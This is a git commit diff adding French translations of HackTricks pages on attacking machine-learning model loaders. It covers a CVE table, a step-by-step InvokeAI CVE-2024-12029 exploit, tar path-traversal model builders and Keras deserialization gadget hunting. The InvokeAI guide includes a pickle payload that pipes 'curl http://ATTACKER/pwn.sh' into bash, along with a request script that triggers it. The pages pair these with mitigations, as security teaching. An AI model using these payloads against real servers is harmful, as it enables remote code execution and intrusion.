Translated ['src/macos-hardening/macos-red-teaming/macos-mdm/README.md',

This commit is contained in:
Translator 2025-08-22 00:25:32 +00:00
parent aca8160d45
commit 9411f5d1ce
5 changed files with 342 additions and 18 deletions

View File

@ -8,24 +8,93 @@ Les modèles d'apprentissage automatique sont généralement partagés dans diff
Au moment de la rédaction, voici quelques exemples de ce type de vulnérabilités :
| **Framework / Outil** | **Vulnérabilité (CVE si disponible)** | **Vecteur RCE** | **Références** |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Désérialisation non sécurisée dans* `torch.load` **(CVE-2025-32434)** | Pickle malveillant dans le point de contrôle du modèle conduit à l'exécution de code (contournant la protection `weights_only`) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + téléchargement de modèle malveillant provoque l'exécution de code ; désérialisation RCE Java dans l'API de gestion | |
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sécurisé) <br> **CVE-2024-3660** (Keras Lambda) | Chargement de modèle à partir de YAML utilise `yaml.unsafe_load` (exécution de code) <br> Chargement de modèle avec une couche **Lambda** exécute du code Python arbitraire | |
| TensorFlow (TFLite) | **CVE-2022-23559** (analyse TFLite) | Modèle `.tflite` conçu déclenche un dépassement d'entier → corruption de la mémoire (RCE potentiel) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Chargement d'un modèle via `joblib.load` exécute pickle avec le payload `__reduce__` de l'attaquant | |
| **NumPy** (Python) | **CVE-2019-6446** (non sécurisé `np.load`) *contesté* | `numpy.load` par défaut permettait des tableaux d'objets picklés `.npy/.npz` malveillant déclenche l'exécution de code | |
| **Framework / Outil** | **Vulnérabilité (CVE si disponible)** | **Vecteur RCE** | **Références** |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Désérialisation non sécurisée dans* `torch.load` **(CVE-2025-32434)** | Pickle malveillant dans le point de contrôle du modèle conduit à l'exécution de code (contournant la protection `weights_only`) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + téléchargement de modèle malveillant provoque l'exécution de code ; désérialisation RCE Java dans l'API de gestion | |
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sécurisé) <br> **CVE-2024-3660** (Keras Lambda) | Chargement de modèle à partir de YAML utilise `yaml.unsafe_load` (exécution de code) <br> Chargement de modèle avec la couche **Lambda** exécute du code Python arbitraire | |
| TensorFlow (TFLite) | **CVE-2022-23559** (analyse TFLite) | Modèle `.tflite` malformé déclenche un dépassement d'entier → corruption de la mémoire (RCE potentiel) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Chargement d'un modèle via `joblib.load` exécute pickle avec le payload `__reduce__` de l'attaquant | |
| **NumPy** (Python) | **CVE-2019-6446** (non sécurisé `np.load`) *contesté* | `numpy.load` par défaut permettait des tableaux d'objets picklés `.npy/.npz` malveillant déclenche l'exécution de code | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversée de répertoire) <br> **CVE-2024-5187** (traversée tar) | Le chemin des poids externes du modèle ONNX peut échapper au répertoire (lecture de fichiers arbitraires) <br> Modèle ONNX malveillant tar peut écraser des fichiers arbitraires (menant à RCE) | |
| ONNX Runtime (risque de conception) | *(Pas de CVE)* opérations personnalisées ONNX / flux de contrôle | Modèle avec opérateur personnalisé nécessite le chargement du code natif de l'attaquant ; des graphes de modèles complexes abusent de la logique pour exécuter des calculs non prévus | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversée de chemin) | Utiliser l'API de chargement de modèle avec `--model-control` activé permet la traversée de chemin relatif pour écrire des fichiers (par exemple, écraser `.bashrc` pour RCE) | |
| Runtime ONNX (risque de conception) | *(Pas de CVE)* opérations personnalisées ONNX / flux de contrôle | Modèle avec opérateur personnalisé nécessite le chargement du code natif de l'attaquant ; des graphes de modèles complexes abusent de la logique pour exécuter des calculs non prévus | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversée de chemin) | Utiliser l'API de chargement de modèle avec `--model-control` activé permet une traversée de chemin relative pour écrire des fichiers (par exemple, écraser `.bashrc` pour RCE) | |
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (multiples dépassements de tas) | Fichier de modèle GGUF malformé provoque des dépassements de tampon dans le parseur, permettant l'exécution de code arbitraire sur le système victime | |
| **Keras (anciens formats)** | *(Pas de nouveau CVE)* Modèle Keras H5 hérité | Modèle HDF5 (`.h5`) malveillant avec code de couche Lambda s'exécute toujours au chargement (Keras safe_mode ne couvre pas l'ancien format "attaque de rétrogradation") | |
| **Autres** (général) | *Flaw de conception* Sérialisation Pickle | De nombreux outils ML (par exemple, formats de modèle basés sur pickle, Python `pickle.load`) exécuteront du code arbitraire intégré dans les fichiers de modèle à moins d'être atténués | |
| **Autres** (général) | *Défaut de conception* Sérialisation Pickle | De nombreux outils ML (par exemple, formats de modèle basés sur pickle, `pickle.load` de Python) exécuteront du code arbitraire intégré dans les fichiers de modèle à moins d'être atténués | |
De plus, il existe des modèles basés sur pickle Python comme ceux utilisés par [PyTorch](https://github.com/pytorch/pytorch/security) qui peuvent être utilisés pour exécuter du code arbitraire sur le système s'ils ne sont pas chargés avec `weights_only=True`. Ainsi, tout modèle basé sur pickle pourrait être particulièrement susceptible à ce type d'attaques, même s'ils ne sont pas listés dans le tableau ci-dessus.
Exemple :
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
`InvokeAI` est une interface web open-source populaire pour Stable-Diffusion. Les versions **5.3.1 5.4.2** exposent le point de terminaison REST `/api/v2/models/install` qui permet aux utilisateurs de télécharger et de charger des modèles à partir d'URLs arbitraires.
En interne, le point de terminaison appelle finalement :
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
Lorsque le fichier fourni est un **checkpoint PyTorch (`*.ckpt`)**, `torch.load` effectue une **désérialisation pickle**. Étant donné que le contenu provient directement de l'URL contrôlée par l'utilisateur, un attaquant peut intégrer un objet malveillant avec une méthode `__reduce__` personnalisée à l'intérieur du checkpoint ; la méthode est exécutée **lors de la désérialisation**, conduisant à une **exécution de code à distance (RCE)** sur le serveur InvokeAI.
La vulnérabilité a été attribuée à **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
#### Guide d'exploitation
1. Créer un checkpoint malveillant :
```python
# payload_gen.py
import pickle, torch, os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
```
2. Hébergez `payload.ckpt` sur un serveur HTTP que vous contrôlez (par exemple, `http://ATTACKER/payload.ckpt`).
3. Déclenchez le point de terminaison vulnérable (aucune authentification requise) :
```python
import requests
requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt", # remote model URL
"inplace": "true", # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={}, # body can be empty
timeout=5,
)
```
4. Lorsque InvokeAI télécharge le fichier, il appelle `torch.load()` → le gadget `os.system` s'exécute et l'attaquant obtient une exécution de code dans le contexte du processus InvokeAI.
Exploitation prête à l'emploi : **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automatise tout le flux.
#### Conditions
• InvokeAI 5.3.1-5.4.2 (drapeau de scan par défaut **false**)
`/api/v2/models/install` accessible par l'attaquant
• Le processus a les permissions pour exécuter des commandes shell
#### Atténuations
* Mettez à niveau vers **InvokeAI ≥ 5.4.3** le correctif définit `scan=True` par défaut et effectue une analyse de logiciels malveillants avant la désérialisation.
* Lors du chargement de points de contrôle de manière programmatique, utilisez `torch.load(file, weights_only=True)` ou le nouvel [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Appliquez des listes d'autorisation / signatures pour les sources de modèles et exécutez le service avec le moindre privilège.
> ⚠️ N'oubliez pas que **tout** format basé sur Python pickle (y compris de nombreux fichiers `.pt`, `.pkl`, `.ckpt`, `.pth`) est intrinsèquement dangereux à désérialiser à partir de sources non fiables.
---
Exemple d'une atténuation ad hoc si vous devez maintenir des versions plus anciennes d'InvokeAI fonctionnant derrière un proxy inverse :
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
```
## Exemple création d'un modèle PyTorch malveillant
- Créer le modèle :
```python
@ -62,4 +131,49 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
```
## Modèles pour le Traversée de Chemin
Comme commenté dans [**cet article de blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), la plupart des formats de modèles utilisés par différents frameworks d'IA sont basés sur des archives, généralement `.zip`. Par conséquent, il pourrait être possible d'abuser de ces formats pour effectuer des attaques de traversée de chemin, permettant de lire des fichiers arbitraires depuis le système où le modèle est chargé.
Par exemple, avec le code suivant, vous pouvez créer un modèle qui créera un fichier dans le répertoire `/tmp` lorsqu'il est chargé :
```python
import tarfile
def escape(member):
member.name = "../../tmp/hacked" # break out of the extract dir
return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
```
Ou, avec le code suivant, vous pouvez créer un modèle qui créera un symlink vers le répertoire `/tmp` lorsqu'il sera chargé :
```python
import tarfile, pathlib
TARGET = "/tmp" # where the payload will land
PAYLOAD = "abc/hacked"
def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member
with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
### Plongée approfondie : désérialisation .keras et recherche de gadgets
Pour un guide ciblé sur les internals de .keras, RCE de la couche Lambda, le problème d'importation arbitraire dans ≤ 3.8, et la découverte de gadgets post-correction à l'intérieur de la liste blanche, voir :
{{#ref}}
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
{{#endref}}
## Références
- [OffSec blog "CVE-2024-12029 Désérialisation de données non fiables par InvokeAI"](https://www.offsec.com/blog/cve-2024-12029/)
- [Commit de patch InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
- [Documentation du module Metasploit de Rapid7](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
- [PyTorch considérations de sécurité pour torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -69,6 +69,7 @@
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
- [venv](generic-methodologies-and-resources/python/venv.md)

View File

@ -2,11 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
**Pages intéressantes à consulter :**
- [**Astuces de hacking Pyscript**](pyscript.md)
- [**Désérialisations Python**](../../pentesting-web/deserialization/index.html#python)
- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/index.html)
- [**Désérialisations Python**](../../pentesting-web/deserialization/README.md)
- [**Désérialisation de modèle Keras RCE et chasse aux gadgets**](keras-model-deserialization-rce-and-gadget-hunting.md)
- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/README.md)
- [**Syntaxe de base des requêtes web Python**](web-requests.md)
- [**Syntaxe et bibliothèques Python de base**](basic-python.md)

View File

@ -0,0 +1,207 @@
# Keras Model Deserialization RCE and Gadget Hunting
{{#include ../../banners/hacktricks-training.md}}
Cette page résume les techniques d'exploitation pratiques contre le pipeline de désérialisation des modèles Keras, explique les détails internes du format .keras et la surface d'attaque, et fournit un kit d'outils pour les chercheurs afin de trouver des vulnérabilités de fichiers de modèle (MFVs) et des gadgets post-correction.
## Détails internes du format de modèle .keras
Un fichier .keras est une archive ZIP contenant au moins :
- metadata.json informations génériques (par exemple, version de Keras)
- config.json architecture du modèle (surface d'attaque principale)
- model.weights.h5 poids en HDF5
Le config.json entraîne une désérialisation récursive : Keras importe des modules, résout des classes/fonctions et reconstruit des couches/objets à partir de dictionnaires contrôlés par l'attaquant.
Extrait d'exemple pour un objet de couche Dense :
```json
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
```
La désérialisation effectue :
- Importation de modules et résolution de symboles à partir des clés module/class_name
- invocation de from_config(...) ou du constructeur avec des kwargs contrôlés par l'attaquant
- Récursion dans des objets imbriqués (activations, initialisateurs, contraintes, etc.)
Historiquement, cela a exposé trois primitives à un attaquant créant config.json :
- Contrôle des modules importés
- Contrôle des classes/fonctions résolues
- Contrôle des kwargs passés dans les constructeurs/from_config
## CVE-2024-3660 Exécution de code à distance par bytecode de couche Lambda
Cause racine :
- Lambda.from_config() utilisait python_utils.func_load(...) qui décode en base64 et appelle marshal.loads() sur des octets de l'attaquant ; la désérialisation Python peut exécuter du code.
Idée d'exploitation (charge utile simplifiée dans config.json) :
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
```
Mitigation:
- Keras impose safe_mode=True par défaut. Les fonctions Python sérialisées dans Lambda sont bloquées à moins qu'un utilisateur ne choisisse explicitement de désactiver avec safe_mode=False.
Notes:
- Les formats hérités (anciens enregistrements HDF5) ou les anciennes bases de code peuvent ne pas appliquer les vérifications modernes, donc les attaques de style "downgrade" peuvent toujours s'appliquer lorsque les victimes utilisent des chargeurs plus anciens.
## CVE-2025-1550 Importation de module arbitraire dans Keras ≤ 3.8
Root cause:
- _retrieve_class_or_fn utilisait importlib.import_module() sans restriction avec des chaînes de module contrôlées par l'attaquant provenant de config.json.
- Impact : Importation arbitraire de tout module installé (ou module planté par l'attaquant sur sys.path). Le code s'exécute au moment de l'importation, puis la construction de l'objet se produit avec des kwargs de l'attaquant.
Exploit idea:
```json
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
```
Améliorations de la sécurité (Keras ≥ 3.9) :
- Liste blanche des modules : importations restreintes aux modules de l'écosystème officiel : keras, keras_hub, keras_cv, keras_nlp
- Mode sécurisé par défaut : safe_mode=True bloque le chargement de fonctions sérialisées Lambda non sécurisées
- Vérification de type de base : les objets désérialisés doivent correspondre aux types attendus
## Surface de gadgets post-correction à l'intérieur de la liste blanche
Même avec la liste blanche et le mode sécurisé, une large surface reste parmi les appelables Keras autorisés. Par exemple, keras.utils.get_file peut télécharger des URL arbitraires vers des emplacements sélectionnables par l'utilisateur.
Gadget via Lambda qui référence une fonction autorisée (pas de bytecode Python sérialisé) :
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
```
Limitation importante :
- Lambda.call() ajoute le tenseur d'entrée comme le premier argument positionnel lors de l'invocation de l'appelable cible. Les gadgets choisis doivent tolérer un argument positionnel supplémentaire (ou accepter *args/**kwargs). Cela limite les fonctions viables.
Impacts potentiels des gadgets autorisés :
- Téléchargement/écriture arbitraire (plantation de chemin, empoisonnement de configuration)
- Rappels réseau/effets similaires à SSRF selon l'environnement
- Chaînage vers l'exécution de code si les chemins écrits sont ensuite importés/exécutés ou ajoutés à PYTHONPATH, ou si un emplacement d'exécution sur écriture accessible existe
## Boîte à outils du chercheur
1) Découverte systématique de gadgets dans les modules autorisés
Énumérer les appelables candidats à travers keras, keras_nlp, keras_cv, keras_hub et prioriser ceux ayant des effets secondaires sur les fichiers/réseaux/processus/environnement.
```python
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
```
2) Test de désérialisation directe (aucune archive .keras nécessaire)
Alimentez des dictionnaires conçus directement dans les désérialiseurs Keras pour apprendre les paramètres acceptés et observer les effets secondaires.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
```
3) Probe croisée des versions et formats
Keras existe dans plusieurs bases de code/époques avec différentes protections et formats :
- Keras intégré à TensorFlow : tensorflow/python/keras (héritage, prévu pour suppression)
- tf-keras : maintenu séparément
- Keras 3 multi-backend (officiel) : introduction du .keras natif
Répétez les tests à travers les bases de code et les formats (.keras vs HDF5 hérité) pour découvrir des régressions ou des protections manquantes.
## Recommandations défensives
- Traitez les fichiers de modèle comme des entrées non fiables. Chargez uniquement des modèles provenant de sources de confiance.
- Gardez Keras à jour ; utilisez Keras ≥ 3.9 pour bénéficier de la liste blanche et des vérifications de type.
- Ne définissez pas safe_mode=False lors du chargement des modèles à moins de faire entièrement confiance au fichier.
- Envisagez d'exécuter la désérialisation dans un environnement isolé, avec le moins de privilèges possible, sans sortie réseau et avec un accès au système de fichiers restreint.
- Appliquez des listes blanches/signatures pour les sources de modèles et la vérification d'intégrité lorsque cela est possible.
## Références
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
- [Keras PR #20751 Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
- [CVE-2024-3660 Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
- [CVE-2025-1550 Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
- [huntr report arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
- [huntr report arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long